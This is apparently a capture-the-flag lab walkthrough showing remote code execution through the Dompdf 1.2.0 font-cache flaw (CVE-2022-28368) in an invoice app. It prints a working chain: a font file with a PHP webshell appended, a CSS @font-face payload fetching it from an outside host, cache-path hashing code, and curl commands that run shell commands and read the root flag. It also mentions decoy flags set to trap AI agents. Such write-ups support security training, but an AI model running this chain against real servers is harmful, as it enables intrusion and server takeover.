Lab 25 — DocuForge — RCE via Dompdf Font Cache Exploitation
Lab 25 — DocuForge — RCE via Dompdf Font Cache Exploitation
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: css_font_face_injection, dompdf_font_cache_rce, php_webshell_in_ttf, predictable_cache_path_md5
Summary
Walkthrough of the CUSTOM Web Lab 25 — DocuForge — RCE via Dompdf Font Cache Exploitation. Task: Invoice generation platform using Dompdf 1.2.0 with HTML-enabled memo field and web-accessible font cache directory. Solution: Exploit CVE-2022-28368 by injecting CSS @font-face referencing a re
Description
DocuForge is a professional invoice and report generation platform built by ForgeWorks Inc. The application allows businesses to create, manage, and generate PDF invoices for their clients. Users can customize invoices with detailed line items, payment terms, and personalized memo notes before generating downloadable PDF documents. The platform features a full dashboard with revenue analytics, client management, an invoice pipeline with status tracking, financial reports, and account settings.
Goal: Find and exploit a vulnerability in the document generation pipeline that allows you to achieve remote code execution on the server and retrieve the flag.
English summary: A PHP 8.2.26 invoice generation platform behind nginx/1.25.5 using Dompdf 1.2.0 for PDF rendering. Users create invoices with a memo field that supports HTML formatting. The memo content is rendered as raw HTML by Dompdf when generating PDFs, and the font cache directory is web-accessible — a classic CVE-2022-28368 setup.
Credentials: user@test.com / password123
Analysis
Reconnaissance
- Logged in at
/loginwith user@test.com / password123 - Explored the application: dashboard with revenue analytics, client management, invoice pipeline, financial reports, account settings
- Found invoice creation form at
/invoices/createwith a memo field that "Supports basic HTML formatting for PDF output (bold, italic, tables, custom styles)" - Invoices can be exported as PDF via
/invoices/{id}/pdf - Extracted PDF metadata to identify the generator:
bash read-only • copy allowed
strings invoice.pdf | grep Producer # → dompdf 1.2.0 + CPDF - Server stack: nginx/1.25.5, PHP/8.2.26
Note: HTML source contains decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — honeypot traps designed to catch bots and AI agents. These are NOT real flags.
Vulnerability: CVE-2022-28368 — Dompdf Font Cache RCE
Dompdf 1.2.0 is vulnerable to CVE-2022-28368, a remote code execution vulnerability in the font caching mechanism:
- When Dompdf processes CSS
@font-facerules with a remotesrc: url(...), it downloads the font file and caches it in the fonts directory - The cached file retains the original file extension from the URL — if the URL ends in
.php, the cached file is saved as.php - The cached filename follows a predictable pattern:
_{md5(url)}.{extension}(with a.ufmmetrics file alongside) - The fonts directory (
/vendor/dompdf/dompdf/lib/fonts/) is web-accessible via nginx
Confirming the Attack Surface
Verified the fonts directory is web-accessible by requesting known font files:
GET /vendor/dompdf/dompdf/lib/fonts/Helvetica.afm → 200 OK
GET /vendor/dompdf/dompdf/lib/fonts/DejaVuSans.ttf → 200 OK
The memo field HTML is escaped for browser display (<style>) but rendered as raw HTML when generating the PDF via Dompdf — this is the intended behavior for "HTML formatting support" and is the injection point.
Solution
Step 1: Prepare the Malicious Font File
Created a file that is simultaneously a valid TTF font (so Dompdf can parse it) and a PHP webshell:
bash read-only • copy allowed# Download a legitimate TTF font (Roboto from Google Fonts) curl -o roboto.ttf "https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxP.ttf" # Append PHP webshell code after the valid TTF data cp roboto.ttf exploit_font.php echo '<?php system($_GET["cmd"]); ?>' >> exploit_font.php # Result: 36,247 bytes — valid TTF with PHP code appended
The file works because:
- Dompdf reads the TTF header and font tables from the beginning → valid font
- PHP interpreter scans for
<?phptags anywhere in the file → executes the webshell - Binary data before the PHP tag is output as garbage but the PHP code still runs
Step 2: Host the Malicious Font
Uploaded exploit_font.php to the platform's Interaction Server:
http://interact/83bab184-9d46-41d7-b6d2-061720c4561a/exploit_font.php
Step 3: Calculate the Cache Path
The cached filename is _{md5(font_url)}.{extension}:
python read-only • copy allowedimport hashlib url = "http://interact/83bab184-9d46-41d7-b6d2-061720c4561a/exploit_font.php" md5_hash = hashlib.md5(url.encode()).hexdigest() print(f"_{md5_hash}.php") # → _3271603e926378a288b1294c49e24144.php
Expected cache path:
/vendor/dompdf/dompdf/lib/fonts/_3271603e926378a288b1294c49e24144.php
Step 4: Trigger Font Caching via Invoice Memo
Created a new invoice with the following CSS payload in the memo field:
html read-only • copy allowed<style> @font-face { font-family: 'exploitfont'; src: url('http://interact/83bab184-9d46-41d7-b6d2-061720c4561a/exploit_font.php'); font-weight: normal; font-style: normal; } </style> <span style="font-family: 'exploitfont';">test</span>
Key points:
- The
@font-facerule tells Dompdf to download the font from the remote URL - The
<span>withfont-family: 'exploitfont'forces Dompdf to actually use (and therefore download/cache) the font - Without the
<span>referencing the font, Dompdf might skip downloading it
Generated the PDF by accessing /invoices/{id}/pdf:
- Dompdf processed the CSS, fetched the font from the Interaction Server, parsed it, and cached it
- The Interaction Server request log confirmed:
GET /exploit_font.php - PDF generated successfully (200, 4299 bytes) with internal font reference
/_3271603e926378a288b1294c49e24144
Step 5: Execute the Webshell
Accessed the cached PHP file with a command parameter:
bash read-only • copy allowed# Confirm RCE curl "https://TARGET/vendor/dompdf/dompdf/lib/fonts/_3271603e926378a288b1294c49e24144.php?cmd=id" # → uid=0(root) gid=0(root) groups=0(root) # Find the flag curl "https://TARGET/vendor/dompdf/dompdf/lib/fonts/_3271603e926378a288b1294c49e24144.php?cmd=find+/+-name+'flag*'+-type+f" # → /root/flag.txt # Read the flag curl "https://TARGET/vendor/dompdf/dompdf/lib/fonts/_3271603e926378a288b1294c49e24144.php?cmd=cat+/root/flag.txt" # → FLAG{REDACTED}
Key Takeaways / Lessons
- Mastering css_font_face_injection, dompdf_font_cache_rce, php_webshell_in_ttf, predictable_cache_path_md5 was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-02 • CUSTOM • Lab 25 — DocuForge — RCE via Dompdf Font Cache Exploitation • Difficulty: Medium